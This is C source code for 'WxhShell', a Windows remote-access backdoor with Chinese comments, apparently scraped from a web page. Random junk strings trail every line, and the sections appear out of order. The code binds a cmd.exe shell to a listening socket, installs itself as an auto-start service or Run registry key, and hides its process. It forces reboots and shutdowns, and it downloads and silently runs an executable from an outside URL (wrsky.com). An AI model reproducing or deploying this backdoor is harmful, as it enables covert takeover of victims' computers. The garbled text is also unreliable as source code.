    if(Boot(SHUTDOWN)) L{<E'#@F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1h|1'S50?  
    else { Kax85)9u  
    closesocket(wsh); %8hhk]m\b>  
    ExitThread(0); wU?2aXY  
    } RHVMlMX  
    break; W#-M|  
    } F-UY~i8  
  // 获取shell E xY ~.  
  case 's': { zF\k*B  
    CmdShell(wsh); wzP>Cq  
    closesocket(wsh); SijC E~P  
    ExitThread(0); :mY(d6#A>  
    break; o)Ob}j  
  } `Z/"Dd;F^3  
  // 退出 1w1(FpQO.  
  case 'x': { khW3z*e#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w9c  
    CloseIt(wsh); a2o+ tR;H  
    break; 2Hy$SSH  
    } ~(4cnD)BO  
  // 离开 o`hF1*yp  
  case 'q': { R &T(S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q 4_j`q  
    closesocket(wsh); g%[lUxL  
    WSACleanup(); E]_sl/`{od  
    exit(1);  5Lm ?  
    break; >|uZIcs 6  
        } m|=/|Hm  
  } el-%#0  
  } XZIj' a0d  
y*|"!FK  
  // 提示信息 Be0P[v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )6IO)P/Q~  
} }$81FSKh  
  } )P\ec  
GP`_R  
  return; q3 1swP  
} .* V ZY  
.P-@ !Q5*  
// shell模块句柄 b s:E`Q  
int CmdShell(SOCKET sock) </qXKEu`_  
{ T4J (8!7  
STARTUPINFO si; VY Va8[}  
ZeroMemory(&si,sizeof(si)); zcP_-q]1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lE$X9yIt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 60^dzi!vs  
PROCESS_INFORMATION ProcessInfo; F7cv`i?2."  
char cmdline[]="cmd"; / u>")f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); om;jXf}A  
  return 0; dJ:EXVU  
} 9M<qk si  
]NG`MZ  
// 自身启动模式 <E!M<!h  
int StartFromService(void) 'd0]`2tVg4  
{ u= !?<Q  
typedef struct &*[T  
{  h ej  
  DWORD ExitStatus; 1r|'n aiZ  
  DWORD PebBaseAddress; oT%~)g  
  DWORD AffinityMask; Pou`PNvH  
  DWORD BasePriority; f{k2sU*uBE  
  ULONG UniqueProcessId; PgxD?Oi8  
  ULONG InheritedFromUniqueProcessId; q\[f$==p  
}   PROCESS_BASIC_INFORMATION; >%'|@75K  
|HhUU1!  
PROCNTQSIP NtQueryInformationProcess; h6 8sQd  
U]d{hY."  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LF{d'jJ&K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |f?tyQ  
9m%[ y1v0  
  HANDLE             hProcess; b2r@vZ]D  
  PROCESS_BASIC_INFORMATION pbi; [bH6>{3u  
 K7 U`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fl<BCJY  
  if(NULL == hInst ) return 0;  ()=  
:a[L-lr`e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :W-"UW,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g}P.ksM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;r"YZs&Xd  
^szCf|SM  
  if (!NtQueryInformationProcess) return 0; :TX!lbCq  
.)ZK42Qd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !imm17XQ\  
  if(!hProcess) return 0; lLS`Ln)"  
*";,HG?|Iz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ql3hq.E  
~t.*B& A  
  CloseHandle(hProcess); E@Q+[~H}  
i|)<#Ywl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1^b-J0  
if(hProcess==NULL) return 0; _Cj u C`7  
AQQeLdTq  
HMODULE hMod; s(r(! FZ  
char procName[255]; ]fnc.^{  
unsigned long cbNeeded; o!gl :izb  
=K- B I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3a"4Fn  
7%&#V2  
  CloseHandle(hProcess); E[)`+:G]  
q} U^H  
if(strstr(procName,"services")) return 1; // 以服务启动 gj0gs  
NYm2fFPc  
  return 0; // 注册表启动 q1.w8$  
} y4w{8;Mh  
t+|c)"\5h  
// 主模块 "U4Sn'&h@  
int StartWxhshell(LPSTR lpCmdLine) 4b,N"w{v  
{ {%)bxk6  
  SOCKET wsl; fnN"a Z  
BOOL val=TRUE; gp$oQh#37;  
  int port=0; Gp6|M2Vu_5  
  struct sockaddr_in door; b(wW;C'#0p  
9EIHcUXe  
  if(wscfg.ws_autoins) Install(); ,mx>)} l95  
)k.;.7dXe  
port=atoi(lpCmdLine); b$l@Z&[]  
+DY% Y `0  
if(port<=0) port=wscfg.ws_port; %D)W~q-g  
Ze~^+ EE  
  WSADATA data; Rjqeuyj:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jn&[=Y-  
yCwBZ/C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nv{r`J.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UpF,e>s  
  door.sin_family = AF_INET; 2,{m>fF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ypSW9n  
  door.sin_port = htons(port); 1(CpTaa  
Jlj=FA`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %oJ_,m_(  
closesocket(wsl); se:]F/  
return 1; l&R~ I6^E  
} 5Q;Fwtm  
e23}'qb  
  if(listen(wsl,2) == INVALID_SOCKET) { Gc^w,n[E  
closesocket(wsl); NuRxkeEO  
return 1; 6FFQoE|n  
} 6}qp;mR E]  
  Wxhshell(wsl); O-[lL"T  
  WSACleanup(); K?+iu|$ &  
Y6~/H  
return 0; s5_[[:c=^  
'vq-~y5^#  
} $,ZBK6CT  
j7IX"O%f\  
// 以NT服务方式启动 (C dx7v2Nh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {*RyT.J  
{ w] i&N1i  
DWORD   status = 0; 56Z 1jN^U  
  DWORD   specificError = 0xfffffff; I kv@}^p 7  
C_mPw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a/A$ MXZ_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J!b v17H"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; />=)=CGv;  
  serviceStatus.dwWin32ExitCode     = 0; ..`J-k  
  serviceStatus.dwServiceSpecificExitCode = 0; hK5BOq!y  
  serviceStatus.dwCheckPoint       = 0; [xe(FFl+  
  serviceStatus.dwWaitHint       = 0; g <S&sYF5  
L  #c*)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1S/KT4  
  if (hServiceStatusHandle==0) return; #EQwl6  
u/-u l  
status = GetLastError(); b+bgGLo  
  if (status!=NO_ERROR) 3WZdP[o!  
{ ZV=O oL t,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E%@,n9T~"  
    serviceStatus.dwCheckPoint       = 0; 7D PKKvQ  
    serviceStatus.dwWaitHint       = 0; ,Dd )=  
    serviceStatus.dwWin32ExitCode     = status; 6c>cq\~E  
    serviceStatus.dwServiceSpecificExitCode = specificError; 96x$Xl;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); | #Z+s-  
    return; sOQF_X(.x  
  } YC+}H3 3  
In<L?U?([D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Eh/B[u7T[  
  serviceStatus.dwCheckPoint       = 0; kcGs2Y_*&  
  serviceStatus.dwWaitHint       = 0; )!M %clm.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \ <b-I  
} }i0(^"SoXZ  
!A!}j.s  
// 处理NT服务事件,比如:启动、停止 f"My;K$l;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I<yd=#:n  
{ VUAW/  
switch(fdwControl) 8@ y@}  
{ nQbF~   
case SERVICE_CONTROL_STOP: @AET.qGC  
  serviceStatus.dwWin32ExitCode = 0; X!#rw= Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v0W w~4|],  
  serviceStatus.dwCheckPoint   = 0; #D4gNQg@R  
  serviceStatus.dwWaitHint     = 0; {8`V5:  
  { 6vy(@z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =pSuyM'  
  } <\40?*2  
  return; O1!hSu&  
case SERVICE_CONTROL_PAUSE: 0$Rl78>(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $ <'i+kK  
  break; LE$_qX`L  
case SERVICE_CONTROL_CONTINUE: QlT{8uw )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |-t>_+. J'  
  break; 1o5n1 A  
case SERVICE_CONTROL_INTERROGATE: av|r^zc  
  break; qbcaiU`-^"  
}; r: Ij\YQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2GB)K?1M  
} /B eA-\B  
?5@!r>i=<  
// 标准应用程序主函数 euO!vLdX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4L<h% 'Zn  
{ za$v I?ux  
_ zM/>Qa  
// 获取操作系统版本 nM]Sb|1:  
OsIsNt=GetOsVer(); -!w({rP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qI (<5Wxl  
:K J#_y\rt  
  // 从命令行安装 )> >Tj7  
  if(strpbrk(lpCmdLine,"iI")) Install(); phkfPvL{  
Am>^{qh9  
  // 下载执行文件 rZ[}vU/H`  
if(wscfg.ws_downexe) { zX=K2tH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4R<bfZ43  
  WinExec(wscfg.ws_filenam,SW_HIDE); y8~/EyY|^  
} (|Zah1k&]  
!Miw.UmPm  
if(!OsIsNt) { Y'n+,g  
// 如果时win9x,隐藏进程并且设置为注册表启动 j'xk [bM  
HideProc(); F<R+]M:fa  
StartWxhshell(lpCmdLine); fSR+~Vy  
} x$p_mWC  
else /4K ^-  
  if(StartFromService()) BF >67 8h  
  // 以服务方式启动 D=ZH? d  
  StartServiceCtrlDispatcher(DispatchTable); "}/$xOl"  
else :<Z>?x  
  // 普通方式启动 :`U@b 6  
  StartWxhshell(lpCmdLine); ,e]|[,r#5  
uKOsYN%D  
return 0; \Z~|ry0v{d  
} f&5'1tG  
cviPCjM  
kF,_o/Jc  
Cf&.hod  
=========================================== v2ab  
QY)hMo=|o8  
Obj?,O  
=H8 LBM  
}fqz8'E9  
3y9R1/!  
" I;u1mywd  
<.d^jgG(j  
#include <stdio.h> IZw>!KYG  
#include <string.h> VDnN2)Km*  
#include <windows.h> ,\".|m1o.  
#include <winsock2.h> x~ ;1CB  
#include <winsvc.h> E![Ye@w  
#include <urlmon.h> ^/`W0kT  
G&7!3u  
#pragma comment (lib, "Ws2_32.lib") ON()2@Y4  
#pragma comment (lib, "urlmon.lib") Wjf,AjL\  
J/T$.*X  
#define MAX_USER   100 // 最大客户端连接数 |:[ [w&R  
#define BUF_SOCK   200 // sock buffer IXA3G7$)  
#define KEY_BUFF   255 // 输入 buffer V$OZC;4  
cUB+fH<B2  
#define REBOOT     0   // 重启 >^odV ;^  
#define SHUTDOWN   1   // 关机 =uG}pgh0  
lPBWpHX  
#define DEF_PORT   5000 // 监听端口 #.KVT#%~{  
7~f"8\  
#define REG_LEN     16   // 注册表键长度 ,\]`X7r  
#define SVC_LEN     80   // NT服务名长度 WciL zx/  
)fGIe rS  
// 从dll定义API 3 *g>kRMJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [p:mja.6y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Au@\/}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7k<6oM1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BSyl!>G6n8  
45 \W%8  
// wxhshell配置信息 igGg[I1?  
struct WSCFG { 1Uy'TEk  
  int ws_port;         // 监听端口 IGKtugU%  
  char ws_passstr[REG_LEN]; // 口令 D~^P}_e.  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,JU3 w  
  char ws_regname[REG_LEN]; // 注册表键名 Q"(*SA+-|  
  char ws_svcname[REG_LEN]; // 服务名 QGq8r>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O~udlVn<6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LtK= nK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m ?)k&{I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @,\J\ rb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?D?l dg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (H[ .\O-`  
K5"8zF)*  
}; &;x*uG  
kWZ@v+Mk3  
// default Wxhshell configuration ;Yr?"|  
struct WSCFG wscfg={DEF_PORT, 1*VArr6*6  
    "xuhuanlingzhe", 2d60o~ E  
    1, e$t$,3~  
    "Wxhshell", jl)7Jd  
    "Wxhshell", =^5,ua6  
            "WxhShell Service", {0Jpf[.f  
    "Wrsky Windows CmdShell Service", J? 4E Hl  
    "Please Input Your Password: ", yV4rS6=  
  1, 6[k7e!&  
  "http://www.wrsky.com/wxhshell.exe", rm5@dM@  
  "Wxhshell.exe" {^ jRV@  
    }; FpYeuH%  
JjC& io  
// 消息定义模块 iTu~Y<'m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c|2+J :}p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^VOA69n>$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ahmxbv3f=5  
char *msg_ws_ext="\n\rExit."; t`!@E#VK  
char *msg_ws_end="\n\rQuit."; oQ{ X2\  
char *msg_ws_boot="\n\rReboot..."; Pxy+W*t  
char *msg_ws_poff="\n\rShutdown..."; x^XP<R{D  
char *msg_ws_down="\n\rSave to "; $E@U-=m  
h(4&!x  
char *msg_ws_err="\n\rErr!"; k;~*8i=%,\  
char *msg_ws_ok="\n\rOK!"; ObzFh?W  
pH/_C0e`7  
char ExeFile[MAX_PATH]; 8bf~uHAr  
int nUser = 0; ^U.t5jj  
HANDLE handles[MAX_USER]; PHh4ZFl]_I  
int OsIsNt; bQ`|G(g-d  
TOge!Q>a  
SERVICE_STATUS       serviceStatus; F`e o3z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a)qlrtCl  
9\S,$A{{*  
// 函数声明 ,T;T %/ S  
int Install(void); mJYG k_ua  
int Uninstall(void); $MYAYj9r)  
int DownloadFile(char *sURL, SOCKET wsh); 0qSf7"3f  
int Boot(int flag); :={rPj-nU  
void HideProc(void); 9H%dK^C  
int GetOsVer(void); OBEHUJ5  
int Wxhshell(SOCKET wsl); o @(.4+2m  
void TalkWithClient(void *cs); iQ8T3cC+  
int CmdShell(SOCKET sock); szw|`S>o  
int StartFromService(void); ph~ d%/^jI  
int StartWxhshell(LPSTR lpCmdLine); 3DX@ggE2  
 oHR@*2b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #DkdFy %`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s*9lYk0  
T/nG\WZbZn  
// 数据结构和表定义 >MLP mER  
SERVICE_TABLE_ENTRY DispatchTable[] = D6vhW:t8?  
{ w^=uq3X?  
{wscfg.ws_svcname, NTServiceMain}, 2SRmh!hr  
{NULL, NULL} l\"wdS}  
}; QnH;+k ln  
0wpGIT!2  
// 自我安装 mXK7y.9\  
int Install(void) Cb i;CF\{  
{ k* e $_  
  char svExeFile[MAX_PATH]; 0o]T6  
  HKEY key; ,: Z7P@  
  strcpy(svExeFile,ExeFile); z:)z]6  
=DsFR9IB  
// 如果是win9x系统,修改注册表设为自启动 ohlCuH 3  
if(!OsIsNt) { QqCwyK0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z1N=tL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B.F~/PET  
  RegCloseKey(key); V: P   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tBtmqxx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Y-KjSs+l  
  RegCloseKey(key); #QM9!k@9k  
  return 0; =j^wa')  
    } rL23^}+^`  
  } `-yiVUp1:z  
} 1{$=N 2U  
else { )F3>  
5XF&yYWq  
// 如果是NT以上系统,安装为系统服务 wfq}NK;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9|x{z  
if (schSCManager!=0) xv 9 G%  
{ w1:%P36H  
  SC_HANDLE schService = CreateService Z11I1)%s  
  ( :)j& t>aP  
  schSCManager, +BgUnu26  
  wscfg.ws_svcname, 5{\;7(  
  wscfg.ws_svcdisp, xW+ XN`77  
  SERVICE_ALL_ACCESS, }S=m: VKH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ev8"JZ1  
  SERVICE_AUTO_START, aFd87'^  
  SERVICE_ERROR_NORMAL, Zd~Q@+sH  
  svExeFile, 6e4A| <  
  NULL, A(T=  
  NULL, !~!\=etm  
  NULL, U*cWNn:."  
  NULL, :BVYS|%  
  NULL J"?jaa2~  
  ); Gi Max  
  if (schService!=0) ~M9&SDT/lB  
  { ; -,VJCPi  
  CloseServiceHandle(schService); }c ,:uN  
  CloseServiceHandle(schSCManager); 3bZ:*6W.6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :IRQouTf:,  
  strcat(svExeFile,wscfg.ws_svcname); TLT6z[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]>oI3&6s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v])R6-T-  
  RegCloseKey(key);  G4{TJ,~  
  return 0; !HSX:qAP$  
    } PmlQW!gfBi  
  } 4R28S]Gb  
  CloseServiceHandle(schSCManager); B/gI~e0  
} :r+F95e  
} a8cX {6  
C sx EN4  
return 1; Z/+H  
} sZ%wQqy~k  
{PS|q?  
// 自我卸载 %+ur41HM  
int Uninstall(void) f@H>by N  
{ ^)S<Ha  
  HKEY key; Je#vu`.\\  
)O$T; U  
if(!OsIsNt) { XBN,{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { szas(7kDS  
  RegDeleteValue(key,wscfg.ws_regname); n~'cKy )m  
  RegCloseKey(key); $x;(C[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &O|qx~(  
  RegDeleteValue(key,wscfg.ws_regname); 1pZ[r M'}  
  RegCloseKey(key); qd@Fb*  
  return 0; Bt(U,nFB  
  } (/gMtIw  
} ?X3uPj9if  
} (F'?c1  
else { 6;p"xC-  
S)W(@R+@4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cW?~]E'<  
if (schSCManager!=0) Qo])A6$IU  
{ 3im2 `n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Nl.< 6+  
  if (schService!=0) ,N@N4<C]  
  { BBHoD:l  
  if(DeleteService(schService)!=0) { ;`rz]7,*  
  CloseServiceHandle(schService); jGFDj"Y  
  CloseServiceHandle(schSCManager); jOU1F1  
  return 0; 3 , nr*R!  
  } y0\=F  
  CloseServiceHandle(schService); h45RwQ5Z  
  } =`MMB|{6  
  CloseServiceHandle(schSCManager); != u S  
} Z8q*XpUH  
} Jk,}3Cr/  
Hg`2- Nl  
return 1; T74."Lo#  
} L ]QBh\  
-14~f)%NQ*  
// 从指定url下载文件 mmBZ}V+&=  
int DownloadFile(char *sURL, SOCKET wsh) L^{wxOf&6E  
{ {!37w[s~  
  HRESULT hr; Ctpc]lJ}  
char seps[]= "/"; -< }#ImTN  
char *token; jU_#-<'r  
char *file; L; 'C5#GN  
char myURL[MAX_PATH]; 1j\wvPLr  
char myFILE[MAX_PATH]; =8 01nZJ  
HRW }Yl  
strcpy(myURL,sURL); @+(a{%~7y  
  token=strtok(myURL,seps); :AM_C^j~ D  
  while(token!=NULL) $S2kc$'F  
  { =(W l'iG   
    file=token; _{48s8V  
  token=strtok(NULL,seps); 8e}8@[h  
  } L0>w|LpRc  
nWsR;~pK  
GetCurrentDirectory(MAX_PATH,myFILE); Vho^a:Z9}W  
strcat(myFILE, "\\"); ^9 {r2d&c  
strcat(myFILE, file); @j+X>TD  
  send(wsh,myFILE,strlen(myFILE),0); sT+\ z  
send(wsh,"...",3,0); ?J's>q^X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #u$ Z/,  
  if(hr==S_OK) A^@,Ha  
return 0; VQHQvFRZ)  
else x(bM   
return 1; (5&l<u"K~  
&E$:^a4d  
} p^i]{"sjbU  
*kKdL  
// 系统电源模块 jWJ/gv~ $  
int Boot(int flag) u,),kj<  
{ k=JT%  
  HANDLE hToken; F>co#  
  TOKEN_PRIVILEGES tkp; (*dJ   
HQtUNtZ  
  if(OsIsNt) { o!}/& '(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {p M3f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o>oZh1/\T,  
    tkp.PrivilegeCount = 1; .aE%z/@s=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >TddKR @C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fa A7m  
if(flag==REBOOT) { GN ?1dwI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qwDoYy yu  
  return 0; 62{[)jt{  
} ?%RR+(2m  
else { 4&'_~qU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k ks ?S',  
  return 0; :j( D&?ao  
} Z=CY6Zu7  
  } C;.+ kE  
  else { S[L2vM)  
if(flag==REBOOT) { OCYC Dn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ybgAyJ{J<  
  return 0; AAld2"r  
} W5a>6u=g,  
else { aIABx!83>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NZ?|#5 3  
  return 0; .47tj`L   
} 4 Q FX  
} %QKRl 5RM-  
"f3KE=cUm  
return 1; jj*e.t:F  
} 7COJ.rA  
?jRyw(Q  
// win9x进程隐藏模块 'ktWKW$ D  
void HideProc(void) >"z&KZKI  
{ o= N_0.  
B^sHFc""V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I\peO/w  
  if ( hKernel != NULL ) ,1g*0W^  
  { 7]6HXR@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?{M!syD<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hg=BXe4:  
    FreeLibrary(hKernel); 1O]27"9  
  } uSi/|  
Je~d/,^WU  
return; ~ E|L4E  
} yNu%D$6u7  
J>Uzd, /  
// 获取操作系统版本 i&dMX:fRd  
int GetOsVer(void) %*wOJx  
{ x#s=eeP1  
  OSVERSIONINFO winfo; VIjsz42C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 58 Rmq/6s  
  GetVersionEx(&winfo); K;_.WzWD=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3U73_=>=&  
  return 1; `nDgwp:b"  
  else CF k^(V"  
  return 0; C5jR||  
} h f1f  
c(<,qWH  
// 客户端句柄模块 C4ut!I #  
int Wxhshell(SOCKET wsl) y~N,=5>j  
{ K?o}B  
  SOCKET wsh; 4x JOPu  
  struct sockaddr_in client; 4SqZ V  
  DWORD myID; e!(0y)*  
fC4 D#  
  while(nUser<MAX_USER) @|^2 +K/  
{ \Ow-o0  
  int nSize=sizeof(client); bUp ,vc*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?>p<!:E!r  
  if(wsh==INVALID_SOCKET) return 1; 2W=( {e)$  
6:Nz=sw8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cn4C K. ?  
if(handles[nUser]==0) G;%Pf9 o26  
  closesocket(wsh); 6T_Mk0Sf+  
else buhn~ c  
  nUser++; F" -w  
  } @9QtK69  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {A2SG#}  
6*,8 H&  
  return 0; sgn,]3AUq  
} {&Fh$H!  
wZECG-jr/  
// 关闭 socket S)0bu(a`Z,  
void CloseIt(SOCKET wsh) t;@VsQ8  
{ Pb|'f(  
closesocket(wsh); LyB$~wZx~@  
nUser--; EMe6Z!k  
ExitThread(0); Gd~Xvw,u  
} U$`)|/8  
>_biiW~x:  
// 客户端请求句柄 qK4E:dD  
void TalkWithClient(void *cs) %8T:rS  
{ {da Nw>TH  
h !~u9  
  SOCKET wsh=(SOCKET)cs; 6SMGXy*]^  
  char pwd[SVC_LEN]; e_wz8]K)n  
  char cmd[KEY_BUFF]; }V3p <  
char chr[1]; OKp(A  
int i,j; sM?bUg0w  
pX]*&[X?  
  while (nUser < MAX_USER) { {37DrSOa  
rSD!u0c [  
if(wscfg.ws_passstr) { j:0VtJo~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h@72eav3+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dyjzF`H  
  //ZeroMemory(pwd,KEY_BUFF); W&]grG2/  
      i=0; ~4wbIE_r N  
  while(i<SVC_LEN) { ;C%D+"l1g  
ZbYwuyHk(3  
  // 设置超时 fz W%(.tc\  
  fd_set FdRead; hltH{4  
  struct timeval TimeOut; | %af}# FQ  
  FD_ZERO(&FdRead); q0 :Lb  
  FD_SET(wsh,&FdRead); \K)"@gdW  
  TimeOut.tv_sec=8; Ho?+?YJ#P  
  TimeOut.tv_usec=0; WIo^=?%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1{%EQhNd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,LXuU8sB  
&tKs t,UR8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <}%>a@  
  pwd=chr[0]; ^6+P&MxM  
  if(chr[0]==0xd || chr[0]==0xa) { MjG=6.J|`  
  pwd=0; Y$EqBN  
  break; RC8{QgaI  
  } 2|o6~m<pE  
  i++; Um\Nd#=:  
    } GljxYH"]#  
0K, *FdA  
  // 如果是非法用户,关闭 socket 0z."6 r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J W&/l  
} >.PLD} zE_  
Q/iaxY#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mqk~Pno|<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b^PYA_k-Xn  
uj&^W[s  
while(1) { A $W,#`E  
!a3cEzs3  
  ZeroMemory(cmd,KEY_BUFF); ]}F_nc2L  
Tn/ 3`j {  
      // 自动支持客户端 telnet标准   K 3?7Hndf2  
  j=0; QQ97BP7W  
  while(j<KEY_BUFF) { >  K,Q`sS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K(Otgp+zb  
  cmd[j]=chr[0]; C$)#s{*  
  if(chr[0]==0xa || chr[0]==0xd) { !l_ 1r$  
  cmd[j]=0; A75IG4]  
  break; Y-n* K'  
  } GS~jNZx  
  j++; %Md;=,a:6  
    } Cdiu*#f  
m$A|Sx&sG$  
  // 下载文件 f6^H Q1SSt  
  if(strstr(cmd,"http://")) { (I,PC*:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j0o_``  
  if(DownloadFile(cmd,wsh)) 8;.WX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R3&W.?C T  
  else Bfaj4i ;_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zp"sM z]  
  } (ui"vLk8PP  
